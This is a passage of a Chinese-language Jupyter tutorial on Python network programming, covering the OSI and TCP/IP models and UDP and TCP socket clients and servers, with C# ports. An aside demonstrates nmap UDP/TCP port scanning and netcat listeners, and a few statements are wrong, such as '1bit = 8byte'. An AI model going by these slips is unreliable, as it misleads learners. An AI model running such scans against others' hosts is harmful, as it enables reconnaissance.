{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# 入门篇\n", "\n", "官方文档：https://docs.python.org/3/library/ipc.html（进程间通信和网络）\n", "\n", "实例代码：\n", "\n", "## 1.概念\n", "\n", "### 1.1.Python方向\n", "\n", "已经讲了很多Python的知识了，那Python能干啥呢？这个是**我眼中的Python**：\n", "\n", "**Python方向**：\n", "1. 早期方向\n", " - **Web全栈**\n", "2. 擅长专栏\n", " - **爬虫系列**\n", " - **数据分析**\n", " - **人工智能**\n", " - **`物联网系`**（`lot`万物互联）\n", " - **自动化运维**（`安全`与`测试`）\n", "3. 其他系列\n", " - 游戏开发（最近很火）\n", "\n", "如果想专攻`Web`、`爬虫`、`物联网`、`游戏`等等方向，`网络`这块是硬条件，So ==> 不要不急，咱们继续学习～\n", "\n", "多句嘴，一般情况下需要什么库就去官方看下，没有再考虑第三方：`https://docs.python.org/3/library`\n", "\n", "\n", "### 1.2.拙见一点点\n", "\n", "技术前景：（注意加粗方向）\n", "1. **Python**：\n", " 1. 最常用：**`Data`**\n", " 2. 最看好：`LoT`\n", " 3. 最火是：`AI`\n", " 4. 经典是：`Web`\n", " 5. 垄断是：`System`\n", "2. **Web**：\n", " 1. 最看好：**`小程序`**\n", " 2. 最常见：`移动端`\n", " 3. 最火是：`Web端`\n", "3. **Go**（**`高并发`**、`区块链`）、C（**`基础`**）\n", "4. **`NetCore`**（**`WebAPI`**、`EFCore`）\n", "\n", "总的来说：**`Python最吃香，Go最有潜力，Web必不可少，NetCore性价比高`**\n", "\n", "现在基本没有单一方向的程序员了，如果有可以默默思考几分钟，**一般都是`JS` and `Python` and (`Go` or `NetCore`)**【二选一】\n", "\n", "---\n", "\n", "其他行业：（*仅代表逆天个人看法*）\n", "1. **设计师**：\n", " 1. **`影视制作`**（剪辑师、合成师、特效师）【目前最火，性价比很高】\n", " 2. **`修图师`**（商业修片、影楼后期）【大咖特别多，创业很吃香】\n", " 3. `UI|UE`（最容易找工作）\n", " 4. `平面设计`（最常见）\n", " 5. `室内设计`（高手很吃香）\n", "2. **教育**：\n", " 1. **`幼儿编程`**和**`中医课`**最火\n", " 2. `琴棋书画武`+`国学`需求颇高\n", " 3. `英语`一直是出国必学\n", "3. **营销**：`新媒体+短视频`\n", "4. **旅游**：`出国游`\n", "\n", "---\n", "\n", "### 1.2.分层模型\n", "\n", "#### 1.`OSI` 7层模型\n", "1. **物理层**：物理设备标准，主要作用就是传输比特流（数据为bit）eg：网线接口、光纤接口、各种传输介质的传输速率\n", " - 双绞线，光纤（硬件）\n", "2. **数据链路层**：对物理层的校验（是否有丢失、错误）\n", " - 数据的传输和数据检测（网卡层）\n", "3. **网络层**：指定传输过程中的路径。eg：IP\n", " - 为数据包选择路由（保证数据传达）\n", "4. **传输层**：定义了传输数据的协议和端口号（主要就是携带了端口号，这样可以找到对应的进程）\n", " - 提供端对端的接口，eg：TCP、UDP\n", "5. **会话层**：通过传输层，在端与端之间（端口）建立数据传输通道（设备之间可以通过IP、Mac、主机名相互认识）\n", " - 解除或者建立和别的节点之间的联系\n", "6. **表示层**：保证一个系统应用发的消息可以被另一个系统应用读取到。eg：两个应用发送的消息格式不同（eg：UTF和ASCII各自表示同一字符），有必要时会以一种通用格式来实现不同数据格式之间的转换\n", " - 数据格式化、代码转化、数据加密\n", "7. **应用层**：为用户的应用程序提供网络服务\n", " - 文件传输、电子邮箱、文件服务、虚拟终端\n", "\n", "我用PPT画了个图：(`物` `数` `网` `传` `会` `表` `应`)\n", "![1.分层模型.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181103171207695-304820451.png)\n", "\n", "#### 2.`TCP/IP` 4层模型\n", "1. **网络接口层**：（`物、数`）\n", " - eg：以太网帧协议\n", "2. **网络层**：\n", " - eg：IP、ARP协议\n", "3. **传输层**：\n", " - eg：TCP、UDP协议\n", "4. **应用层**：（`会、表、应`）我们基本上都是关注这个\n", " - eg：FTP、SSH、HTTP协议...\n", "\n", "### 1.3.协议相关\n", "\n", "计算机和计算机网络通信前达成的一种约定，举个例子：以汉语为交流语言\n", "![1.协议定义.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181106164656920-846304011.png)\n", "\n", "再举个发送文件的例子，PPT做个动画：（自定义协议-文件传输演示）\n", "![1.文件传输演示.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181105164354600-1179034836.gif)\n", "\n", "`B/S`基本上都是`HTTP`协议，`C/S`开发的时候有时会使用自己的协议，比如某大型游戏，比如很多框架都有自己的协议：\n", "1. Redis的`redis://`\n", "2. Dubbo的`dubbo://`协议\n", "\n", "总的来说，基本上都是`HTTP`协议，对性能要求高的就使用`TCP`协议，更高性能要求就自己封装协议了，比如腾讯在`UDP`基础上封装了自己的协议来保证通信的可靠性\n", "\n", "#### 数据包的封装\n", "\n", "先看一个`老外`的动画（忽略水印广告）：`https://v.qq.com/x/page/w01984zbrmy.html`\n", "\n", "
中文版可以点击微信公众号的原文链接下载（课外拓展也有贴）
\n", "\n", "**以TCP/IP四层协议为例**：数据包的逐层`封装`和`解包`都是`操作系统`来做的，我们只管`应用层`\n", "\n", "发送过程：\n", "1. 发送消息\n", "2. 应用层添加了**协议头**\n", "3. 传输层添加`TCP`**段首**\n", "4. 网络层添加`IP`**报头**\n", "5. 网络接口层（链路层）添加**帧头**和**帧尾**\n", "\n", "PPT动画示意：\n", "![1.传输.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181106112414699-1959103119.gif)\n", "\n", "接收过程：\n", "1. 去除链路层的**帧头**和**帧尾**\n", "2. 去除网络层**`IP`**的**报头**\n", "3. 去除传输层**`TCP`**的**段首**\n", "4. 去除应用层的**协议头**\n", "5. 获取到数据\n", "\n", "PPT动画示意：\n", "![2.解包.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181106112419147-1420362893.gif)\n", "\n", "**我们下面按照解包顺序简单说说各种格式**：\n", "\n", "#### 1.以太网帧格式\n", "\n", "先看一下这个是啥？用上面动画内容表示：\n", "![1.以太网帧格式是啥.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181106154438561-2033791250.png)\n", "\n", "**以太网帧协议**：**根据`MAC`地址完成数据包传递**\n", "\n", "如果只知道IP，并不知道`MAC`地址，可以使用`ARP`请求来获取：\n", "- `ARP`数据报：**根据`IP`获取`MAC`地址**（网卡编号）\n", "- `ARP`只适合`IPv4`,`IPv6`用`ICMPV6`来代替`ARP`\n", "- **在`TCP/IP`模型中，`ARP`协议属于`IP`层；在`OSI`模型中，`ARP`协议属于链路层**\n", "\n", "PPT画一张图：**`1bit = 8byte`（1字节=8位）**\n", "![1.以太网帧格式.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181106160501451-574516383.png)\n", "
上图数据最小46字节，而ARP就28字节，所以需要填充（PAD）18个无用字节
\n", "\n", "**课后思考**：根据ARP原理想想`ARP欺骗`到底扎回事？(IP进行ARP请求后会缓存，缓存失效前不会再去ARP请求)\n", "\n", "扩展：\n", "1. `RARP 是反向地址转换协议,通过 MAC 地址确定 IP 地址`\n", "2. 真实IP在网络层的IP协议之中，以太网帧中的IP是下一跳的IP地址（路由）\n", "3. 每到一个路由都要解网络层的包（知道到底需要获取哪个IP）\n", "4. `MAC`地址就是硬件地址，厂商向全球组织申请唯一编号（类似于身份证）\n", "5. 最后附上手画的ARP数据报图示：（一般都不是一步得到MAC的，多数都是经过一个个路由节点最终获取到MAC）\n", "\n", "![1.ARP.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181106163039499-833964918.png)\n", "\n", "#### 2.IP段格式\n", "\n", "先贴一IP段格式图片（网络）：\n", "![1.IP报.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181106170533631-2057762518.png)\n", "\n", "我们在这不去详细讲解，扩展部分有课后拓展，我就说一个大多数人困惑的点：\n", "\n", "查看`IP`信息的时候经常会看到`192.168.36.235/24`，这个**`/24`**一直争议很大\n", "\n", "我们来简单解释一下：IP为`192.168.36.235`\n", "1. `192.168.36`：网络标识\n", "2. `235`：主机标识\n", "3. `/24`：**标识从头数到多少位为止属于网络标识**（剩下的就是可分配的主机数了）\n", " - 二进制表示为：`11111111 11111111 11111111 00000000`(24个1)\n", " - 翻译成子网掩码就是：`255.255.255.0`(`/多少`就数多少个1，然后转化)\n", " - 表示可以有255个ip用来自行分配（记得去除路由之类的占用）\n", "\n", "扩展：IP属于面向无连接行（`IP`协议不保证传输的可靠性,数据包在传输过程中可能丢失,可靠性可以在上层协议或应用程序中提供支持）\n", "\n", "`面向连接`和`面向无连接`区别如图：（*图片来自网络*）\n", "![1.面向有无连接.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181105164631638-1242954896.png)\n", "\n", "---\n", "\n", "#### 预告\n", "**关于TCP和UDP的内容下次继续～**\n", "\n", "课外拓展：\n", "```\n", "图解TCP/IP第五版\n", "链接: https://pan.baidu.com/s/1C4kpNd2MvljxfwTKO082lw 提取码: 7qce\n", "\n", "Python网络编程第三版\n", "Code：https://github.com/brandon-rhodes/fopnp\n", "PDF：链接: https://pan.baidu.com/s/1jhW-Te-GCEFKrZVf46S_Tw 提取码: d7fw\n", "\n", "网络基础-含书签（网络文档）\n", "链接: https://pan.baidu.com/s/1WZ1D4BthA4qBk2QXBAjm4w 提取码: jmdg\n", "\n", "老外讲解网络数据包解析：\n", "下载：https://pan.baidu.com/s/1uUjahs_b05y9Re9ROtzzIw\n", "中文：http://video.tudou.com/v/XMjE3MTg0NzkzNg==.html\n", "英文：http://video.tudou.com/v/XMTkyNjU5NDYwOA==.html\n", "```" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 2.UDP\n", "\n", "实例代码：\n", "\n", "`UDP`是无连接的传输协议,不保证可靠性。使用`UDP`协议的应用程序需要自己完成丢包重发、消息排序等工作（有点像寄信）\n", "\n", "**UDP数据包格式**：（网络层已经有了ip，传输层就不需要再加上ip了）\n", "1. 16位源端口\n", "2. 16位目的端口\n", "\n", "在操作系统中查找一个进程可以通过`PID`，网络中通过`IP`找到主机，再通过`Port`找到进程\n", "- eg：`192.168.36.235:8080`，一般来说，端口的最大位是`2^16=65536`\n", "\n", "### 2.1.UDP发送消息\n", "\n", "#### 引入案例\n", "\n", "看个UDP的简单案例：\n", "```py\n", "import socket\n", "\n", "def main():\n", "\n", " # AF_INET ==> IPV4；SOCK_STREAM ==> 类型是TCP，stream 流\n", " # SOCK_DGRAM ==> 类型是UDP，dgram 数据报、数据报套接字\n", " with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as udp_sock:\n", " udp_sock.sendto(\"大兄弟，你好啊\".encode(\"utf-8\"), (\"192.168.36.235\", 8080))\n", " print(\"over\")\n", "\n", "if __name__ == '__main__':\n", " main()\n", "```\n", "接收到的消息：**这时候端口是随机的**\n", "![2.UDP接收消息](https://img2018.cnblogs.com/blog/658978/201810/658978-20181030161939823-691450792.png)\n", "\n", "看起来代码还挺麻烦，我稍微分析下你就知道对比其他语言真的太简单了：\n", "\n", "标识：\n", "1. `AF_INET` ==> `IPV4`\n", "2. `SOCK_DGRAM` ==> 类型是`UDP`\n", "3. `SOCK_STREAM` ==> 类型是`TCP`\n", "\n", "**代码三步走**：\n", "1. 创建 `udp_sock=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)`\n", "2. 发送 `udp_sock.sendto(Bytes内容，(IP,Port))` 接收：`udp_sock.recvfrom(count)`\n", "3. 关闭 `udp_sock.close()`\n", "\n", "#### 端口绑定\n", "\n", "借助`调试工具`(点我下载)可以知道：上面程序每次运行，**端口**都**不固定**\n", "![2.UDP随机端口.png](https://img2018.cnblogs.com/blog/658978/201810/658978-20181030160106572-1670415822.png)\n", "\n", "那怎么使用固定端口呢？==> `udp_socket.bind(('', 5400))`\n", "```py\n", "import socket\n", "\n", "def main():\n", " with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as udp_socket:\n", " # 绑定固定端口\n", " udp_socket.bind(('', 5400))\n", " # 发送消息\n", " udp_socket.sendto(\"小明，你知道小张的生日吗？\\n\".encode(\"utf-8\"),\n", " (\"192.168.36.235\", 8080))\n", " print(\"over\")\n", "\n", "if __name__ == '__main__':\n", " main()\n", "```\n", "消息图示：`nc -ul 8080`（`nc -l`是监听TCP）\n", "![2.nc监听UDP.png](https://img2018.cnblogs.com/blog/658978/201810/658978-20181030161609064-948308184.png)\n", "\n", "调试工具：\n", "![2.UDP绑定端口.png](https://img2018.cnblogs.com/blog/658978/201810/658978-20181030161114687-141010359.png)\n", "\n", "### 2.2.UDP接收消息\n", "\n", "先看一个简单版本的：`udp_socket.recvfrom(1024)`\n", "```py\n", "from socket import socket, AF_INET, SOCK_DGRAM\n", "\n", "def main():\n", " with socket(AF_INET, SOCK_DGRAM) as udp_socket:\n", " # 绑定端口\n", " udp_socket.bind(('', 5400))\n", " while True:\n", " # 发送消息\n", " udp_socket.sendto(\"你可以给我离线留言了\\n\".encode(\"utf-8\"),\n", " (\"192.168.36.235\", 8080))\n", " # 接收消息（data,(ip,port)）\n", " data, info = udp_socket.recvfrom(1024)\n", " print(f\"[来自{info[0]}:{info[1]}的消息]：\\n{data.decode('utf-8')}\")\n", "\n", "if __name__ == '__main__':\n", " main()\n", "```\n", "图示：**`接收消息（data,(ip,port)）`**\n", "![2.udp_recv.gif](https://img2018.cnblogs.com/blog/658978/201810/658978-20181030172716634-871024783.gif)\n", "\n", "---\n", "\n", "### 题外话（Nmap）\n", "\n", "其实如果你使用`Nmap`来扫描的话并不能发现`nc`打开的`UDP`端口：\n", "![2.nmap的UDP扫描.gif](https://img2018.cnblogs.com/blog/658978/201810/658978-20181030172711902-1875073285.gif)\n", "\n", "稍微解释一下：**扫描其实就是发了几个空消息过去**\n", "1. `-sU`代表扫描UDP，`-sT`代表扫描TCP\n", "2. `-Pn` 这个主要是针对有些服务器禁用ping的处理（ping不通也尝试）\n", "3. `-p` 指定端口号，如果是所有端口可以使用`-p-`\n", "4. `sudo`是因为在`Ubuntu`下没权限，`kali`下可以直接使用`nmap`\n", "\n", "可能有人对`nc`输出的*`你可以给离线留意了`*有疑惑，其实就是在给5400端口发空消息的时候～`True循环了两次`\n", "\n", "来张对比图：\n", "![2.nc找不到.gif](https://img2018.cnblogs.com/blog/658978/201810/658978-20181031093925016-1829175408.gif)\n", "\n", "**扫描TCP和UDP端口**：`sudo nmap -sTU 192.168.36.235 -Pn`\n", "\n", "**课后扩展**：\n", "```\n", "NC命令扩展：https://www.cnblogs.com/nmap/p/6148306.html\n", "\n", "Nmap基础：https://www.cnblogs.com/dunitian/p/5074784.html\n", "```\n", "\n", "#### 收放自如\n", "\n", "如果还是用True循环来实现：\n", "```py\n", "from socket import socket, AF_INET, SOCK_DGRAM\n", "\n", "def main():\n", " with socket(AF_INET, SOCK_DGRAM) as udp_socket:\n", " # 绑定端口\n", " udp_socket.bind(('', 5400))\n", " while True:\n", " msg = input(\"请输入发送的内容：\")\n", " if msg == \"dotnetcrazy\":\n", " break\n", " else:\n", " udp_socket.sendto(\n", " msg.encode(\"utf-8\"), (\"192.168.36.235\", 8080))\n", "\n", " data, info = udp_socket.recvfrom(1024)\n", " print(f\"[来自{info[0]}:{info[1]}的消息]：\\n{data.decode('utf-8')}\")\n", "\n", "if __name__ == '__main__':\n", " main()\n", "```\n", "你会发现，消息不能轮流发送，只能等对方方式后再发，虽然有处理方式，但太麻烦，这时候就可以使用我们之前说的**多线程来改写**一下了：\n", "```py\n", "from socket import socket, AF_INET, SOCK_DGRAM\n", "from multiprocessing.dummy import Pool as ThreadPool\n", "\n", "def send_msg(udp_socket):\n", " while True:\n", " msg = input(\"输入需要发送的消息：\\n\")\n", " udp_socket.sendto(msg.encode(\"utf-8\"), (\"192.168.36.235\", 8080))\n", "\n", "def recv_msg(udp_socket):\n", " while True:\n", " data, info = udp_socket.recvfrom(1024)\n", " print(f\"[来自{info[0]}:{info[1]}的消息]：\\n{data.decode('utf-8')}\")\n", "\n", "def main():\n", " # 创建一个Socket\n", " with socket(AF_INET, SOCK_DGRAM) as udp_socket:\n", " # 绑定端口\n", " udp_socket.bind(('', 5400))\n", "\n", " # 创建一个线程池\n", " pool = ThreadPool()\n", "\n", " # 接收消息\n", " pool.apply_async(recv_msg, args=(udp_socket, ))\n", "\n", " # 发送消息\n", " pool.apply_async(send_msg, args=(udp_socket, ))\n", "\n", " pool.close() # 不再添加任务\n", " pool.join() # 等待线程池执行完毕\n", " print(\"over\")\n", "\n", "if __name__ == '__main__':\n", " main()\n", "```\n", "输出：（就一个注意点～`socket在pool之后关闭`）\n", "![2.收放自如.gif](https://img2018.cnblogs.com/blog/658978/201810/658978-20181031084637702-678648461.gif)\n", "\n", "---\n", "\n", "### 2.3.手写UDP网络调试工具\n", "\n", "调试工具功能比较简单，我们手写一个`UDP`版的：\n", "```py\n", "from socket import socket, AF_INET, SOCK_DGRAM\n", "from multiprocessing.dummy import Pool as ThreadPool\n", "\n", "def get_port(msg):\n", " \"\"\"获取用户输入的端口号\"\"\"\n", " while True:\n", " port = input(msg)\n", " try:\n", " port = int(port)\n", " except Exception as ex:\n", " print(ex)\n", " else:\n", " return port # 没有错误就退出死循环\n", "\n", "def recv_msg(udp_socket):\n", " \"\"\"接收消息\"\"\"\n", " while True:\n", " data, info = udp_socket.recvfrom(1024)\n", " print(f\"[来自{info[0]}:{info[1]}的消息]：\\n{data.decode('utf-8')}\")\n", "\n", "def send_msg(udp_socket):\n", " \"\"\"发送消息\"\"\"\n", " ip = input(\"请输入对方IP：\")\n", " port = get_port(\"请输入对方端口号：\")\n", " while True:\n", " msg = input(\"请输入发送的消息：\\n\")\n", " udp_socket.sendto(msg.encode(\"utf-8\"), (ip, port))\n", "\n", "def main():\n", " with socket(AF_INET, SOCK_DGRAM) as udp_socket:\n", " # 绑定端口\n", " udp_socket.bind(('', get_port(\"请输网络助手的端口号：\")))\n", " # 创建一个线程池\n", " pool = ThreadPool()\n", " # 接收消息\n", " pool.apply_async(recv_msg, args=(udp_socket, ))\n", " # 发送消息\n", " pool.apply_async(send_msg, args=(udp_socket, ))\n", "\n", " pool.close()\n", " pool.join()\n", "\n", "if __name__ == '__main__':\n", " main()\n", "\n", "```\n", "\n", "CentOS`IP`和`Port`(`192.168.36.123:5400`)\n", "![2.UDP网络助手.png](https://img2018.cnblogs.com/blog/658978/201810/658978-20181031130707093-968035575.png)\n", "\n", "演示：(**多PC演示**)\n", "![2.UDPTool.gif](https://img2018.cnblogs.com/blog/658978/201810/658978-20181031131353347-509340602.gif)\n", "\n", "简单说下本机IP的绑定：\n", "\n", "Net里面习惯使用`localhost`，很多人不知道到底是啥，其实你打开`host`文件就可以看到 ==> `127.0.0.1`被重定向为`localhost`，在Linux里面也是这样的，每个PC对应的都是`lo`回环地址：\n", "![2.lo.png](https://img2018.cnblogs.com/blog/658978/201810/658978-20181031132010394-1833915775.png)\n", "\n", "**本机通信时，对方ip就可以使用`127.0.0.1`了，当然了绑定本机ip的时候也可以使用`127.0.0.1`（`bind(('',))`中的空其实填的就是这个）**(很多地方也会使用`0.0.0.0`)\n", "```py\n", "_LOCALHOST = '127.0.0.1' # 看这\n", "_LOCALHOST_V6 = '::1'\n", "\n", " def socketpair(family=AF_INET, type=SOCK_STREAM, proto=0):\n", " if family == AF_INET:\n", " host = _LOCALHOST # 看这\n", " elif family == AF_INET6:\n", " host = _LOCALHOST_V6\n", " ....\n", " \n", " lsock = socket(family, type, proto)\n", " try:\n", " lsock.bind((host, 0)) # 看这\n", " lsock.listen()\n", " ...\n", "```\n", "\n", "### 2.4.NetCore版\n", "\n", "快速实现一下：\n", "```csharp\n", "using System.Net;\n", "using System.Text;\n", "using System.Net.Sockets;\n", "\n", "namespace netcore\n", "{\n", " class Program\n", " {\n", " static void Main(string[] args)\n", " {\n", " // UDP通信\n", " using (var udp_socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp))\n", " {\n", " var ip_addr = IPAddress.Parse(\"192.168.36.235\");\n", "\n", " // 绑定本地端口\n", " udp_socket.Bind(new IPEndPoint(ip_addr, 5400));\n", " // UDP发送消息\n", " int i = udp_socket.SendTo(Encoding.UTF8.GetBytes(\"小明你好啊～\"), new IPEndPoint(ip_addr, 8080));\n", " Console.WriteLine($\"发送计数：{i}\");\n", " }\n", " Console.WriteLine(\"over\");\n", " }\n", " }\n", "}\n", "```" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 3.TCP\n", "\n", "示例代码：\n", "\n", "`TCP`是一种面向连接的、可靠的协议,`TCP`传输的双方需要首先建立连接,之后由`TCP`协议保证数据收发的可靠性,丢失的数据包自动重发,上层应用程序收到的总是可靠的数据流,通讯之后关闭连接（有点像打电话）\n", "\n", "用过下载软件的可能遇到过一种`‘Bug’` ==> 很多人为了防止自己本地文件纳入共享大军，一般都是直接把网络上传给禁了，然后发现文件经常出问题？\n", "\n", "其实这个就是`TCP`的一个应用，文件一般都很大，所以进行分割后批量下载，那少量的网络上传其实是为了校验一下文件 ==> 正确做法是限制上传速度而不是禁止（学生时代那会还经常蛋疼这个问题，现在想想还挺好玩的`O(∩_∩)O`）\n", "\n", "大多数连接都是可靠的TCP连接。**创建TCP连接时，主动发起连接的叫客户端，被动响应连接的叫服务器**\n", "\n", "上面那个例子里，我们的下载工具就是客户端，每一小段文件接收完毕后都会向服务器发送一个完成的指令来保证文件的完整性\n", "\n", "PS：**局域网一般用UDP，互联网一般用TCP**（最新研究发现：UDP不是丢包严重，而是包顺序容易出问题）\n", "\n", "### 3.1.TCP客户端\n", "\n", "来看一个简单的入门案例：\n", "```py\n", "from socket import socket\n", "\n", "def main():\n", " # 默认就是创建TCP Socket\n", " with socket() as tcp_socket:\n", " # 连接服务器（没有返回值）\n", " tcp_socket.connect((\"192.168.36.235\", 8080))\n", " # 发送消息（返回发送的字节数）\n", " tcp_socket.send(\"小张生日快乐～\".encode(\"utf-8\"))\n", " # 接收消息\n", " msg = tcp_socket.recv(1024)\n", " print(f\"服务器：{msg.decode('utf-8')}\")\n", "\n", "if __name__ == '__main__':\n", " main()\n", "```\n", "输出：（`socket()`默认就是创建`TCP Socket`）\n", "![3.tcp_client.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181101101153493-941765705.gif)\n", "\n", "概括来说：\n", "1. **TCP，有点像打电话，先拨号连通了(`connect`)才能通信(`send`，`recv`)，之后的通信不用再拨号连通了**\n", "2. **UDP，有点像寄信封，每次寄过去都不确定能不能收到，每次通信都得写地址(`ip`+`port`)**\n", "\n", "**代码四步走**：（TCP客户端其实创建`Socket`之后`connect`一下服务器就OK了）\n", "1. 创建：`tcp_sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)`\n", "2. 连接：`tcp_sock.connect((IP, Port))`\n", "3. 发送：`tcp_sock.send(Bytes内容)` 接收：`tcp_sock.recv(count)`\n", "4. 关闭：`tcp_sock.close()`\n", "\n", "#### 模拟HTTP\n", "```py\n", "from socket import socket\n", "\n", "def get_buffer(tcp_socket):\n", " buffers = b''\n", " while True:\n", " b = tcp_socket.recv(1024)\n", " if b:\n", " buffers += b\n", " else:\n", " break\n", " # 返回bytes\n", " return buffers\n", "\n", "def main():\n", " with socket() as tcp_socket:\n", " # 连接服务器\n", " tcp_socket.connect((\"dotnetcrazy.cnblogs.com\", 80))\n", " # 发送消息（模拟HTTP）\n", " tcp_socket.send(\n", " b'GET / HTTP/1.1\\r\\nHost: dotnetcrazy.cnblogs.com\\r\\nConnection: close\\r\\n\\r\\n'\n", " )\n", " # 以\"\\r\\n\\r\\n\"分割一次\n", " header, data = get_buffer(tcp_socket).split(b\"\\r\\n\\r\\n\", 1)\n", " print(header.decode(\"utf-8\"))\n", " with open(\"test.html\", \"wb\") as f:\n", " f.write(data)\n", " print(\"over\")\n", "\n", "if __name__ == '__main__':\n", " main()\n", "```\n", "输出：（`test.html`就是页面源码）\n", "```\n", "HTTP/1.1 200 OK\n", "Date: Thu, 01 Nov 2018 03:10:48 GMT\n", "Content-Type: text/html; charset=utf-8\n", "Content-Length: 20059\n", "Connection: close\n", "Vary: Accept-Encoding\n", "Cache-Control: private, max-age=10\n", "Expires: Thu, 01 Nov 2018 03:10:58 GMT\n", "Last-Modified: Thu, 01 Nov 2018 03:10:48 GMT\n", "X-UA-Compatible: IE=10\n", "X-Frame-Options: SAMEORIGIN\n", "over\n", "```\n", "**注意`\\r\\n`和`Connection:close`；`split(\"\",分割次数)`**\n", "\n", "---\n", "\n", "### 3.2.TCP服务端\n", "\n", "服务端代码相比于UDP，多了一个监听和等待客户端，其他基本上一样：\n", "\n", "客户端Code：(如果你想固定端口也可以绑定一下`Port`)\n", "```py\n", "from socket import socket\n", "\n", "def main():\n", " # 默认就是创建TCP Socket\n", " with socket() as tcp_socket:\n", " # 连接服务器（没有返回值）\n", " tcp_socket.connect((\"192.168.36.235\", 8080))\n", "\n", " print(\"Connected TCP Server...\") # 连接提示\n", "\n", " # 发送消息（返回发送的字节数）\n", " tcp_socket.send(\"小张生日快乐～\\n\".encode(\"utf-8\"))\n", " # 接收消息\n", " msg = tcp_socket.recv(1024)\n", " print(f\"服务器：{msg.decode('utf-8')}\")\n", "\n", "if __name__ == '__main__':\n", " main()\n", "```\n", "服务端Code：\n", "```py\n", "from socket import socket\n", "\n", "def main():\n", " with socket() as tcp_socket:\n", " # 绑定端口（便于客户端找到）\n", " tcp_socket.bind(('', 8080))\n", " # 变成被动接收消息（监听）\n", " tcp_socket.listen() # 不指定连接最大数则会设置默认值\n", "\n", " print(\"TCP Server is Running...\") # 运行后提示\n", "\n", " # 等待客户端发信息\n", " client_socket, client_addr = tcp_socket.accept()\n", "\n", " with client_socket:\n", " # 客户端连接提示\n", " print(f\"[来自{client_addr[0]}:{client_addr[1]}的消息]\\n\")\n", "\n", " # 接收客户端消息\n", " data = client_socket.recv(1024)\n", " print(data.decode(\"utf-8\"))\n", "\n", " # 回复客户端\n", " client_socket.send(\"知道了\".encode(\"utf-8\"))\n", "\n", "if __name__ == '__main__':\n", " main()\n", "```\n", "输出：（先运行服务端，再运行客户端。客户端发了一个生日快乐的祝福，服务端回复了一句）\n", "![3.tcp_server.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181101152713008-441395206.gif)\n", "\n", "### 3.2.TCP服务端调试助手\n", "\n", "如果像上面那般，并不能多客户端通信\n", "![3.bug.png](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181101171545763-1800450636.png)\n", "\n", "这时候可以稍微改造一下：\n", "\n", "#### 客户端：\n", "\n", "```py\n", "from time import sleep\n", "from socket import socket\n", "from multiprocessing.dummy import Pool\n", "\n", "def send_msg(tcp_socket):\n", " with tcp_socket:\n", " while True:\n", " try:\n", " tcp_socket.send(\"小明同志\\n\".encode(\"utf-8\"))\n", " sleep(2) # send是非阻塞的\n", " print(\"向服务器问候了一下\")\n", " except Exception as ex:\n", " print(\"服务端连接已断开:\", ex)\n", " break\n", "\n", "def recv_msg(tcp_socket):\n", " with tcp_socket:\n", " while True:\n", " # 这边可以不捕获异常：\n", " # 服务端关闭时，send_msg会关闭，然后这边也就关闭了\n", " try:\n", " data = tcp_socket.recv(1024)\n", " if data:\n", " print(\"服务端回复：\", data.decode(\"utf-8\"))\n", " except Exception as ex:\n", " print(\"tcp_socket已断开:\", ex)\n", " break\n", "\n", "def main():\n", " with socket() as tcp_socket:\n", " # 连接TCP Server\n", " tcp_socket.connect((\"192.168.36.235\", 8080))\n", " print(\"Connected TCP Server...\") # 连接提示\n", "\n", " pool = Pool()\n", " pool.apply_async(send_msg, args=(tcp_socket,))\n", " pool.apply_async(recv_msg, args=(tcp_socket,))\n", " pool.close()\n", " pool.join()\n", "\n", "if __name__ == '__main__':\n", " main()\n", "```\n", "#### 服务端\n", "\n", "**服务器需要同时响应多个客户端的请求，那么每个连接都需要一个新的进程或者线程来处理**\n", "\n", "```py\n", "from socket import socket\n", "from multiprocessing.dummy import Pool\n", "\n", "def wait_client(client_socket, ip_port):\n", " with client_socket:\n", " while True:\n", " data = client_socket.recv(1024)\n", " print(f\"[来自{ip_port}的消息]:\\n{data.decode('utf-8')}\")\n", " client_socket.send(b\"I Know\") # bytes类型\n", "\n", "def main():\n", " with socket() as tcp_socket:\n", " # 绑定端口\n", " tcp_socket.bind(('', 8080))\n", " # 服务器监听\n", " tcp_socket.listen()\n", "\n", " print(\"TCP Server is Running...\") # 运行后提示\n", "\n", " p = Pool()\n", " while True:\n", " # 等待客户端连接\n", " client_socket, client_addr = tcp_socket.accept()\n", " ip_port = f\"{client_addr[0]}:{client_addr[1]}\"\n", " print(f\"客户端{ip_port}已连接\")\n", " # 响应多个客户端则需要多个线程来处理\n", " p.apply_async(wait_client, args=(client_socket, ip_port))\n", "\n", "if __name__ == '__main__':\n", " main()\n", "```\n", "演示：（死循环，`Pool`都不用管了）\n", "![3.正常流程.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181102170246044-731640129.gif)\n", "\n", "服务器挂了客户端也会自动退出：\n", "![3.自动退出.gif](https://img2018.cnblogs.com/blog/1127869/201811/1127869-20181102170240157-2015402018.gif)\n", "\n", "用TCP协议进行`Socket`编程在Python中十分简单：\n", "1. 客户端：主动连接服务器的IP和指定端口\n", "2. 服务器：先监听指定端口，然后对每一个新的连接创建一个线程或进程来处理\n", "\n", "---\n", "\n", "### 3.3.NetCore版\n", "\n", "#### Server版\n", "\n", "大体流程和Python一样：\n", "```py\n", "using System;\n", "using System.Text;\n", "using System.Net;\n", "using System.Net.Sockets;\n", "using System.Threading.Tasks;\n", "\n", "namespace _2_TCP\n", "{\n", " class Program\n", " {\n", " static void Main(string[] args)\n", " {\n", " using (var tcp_socket = new 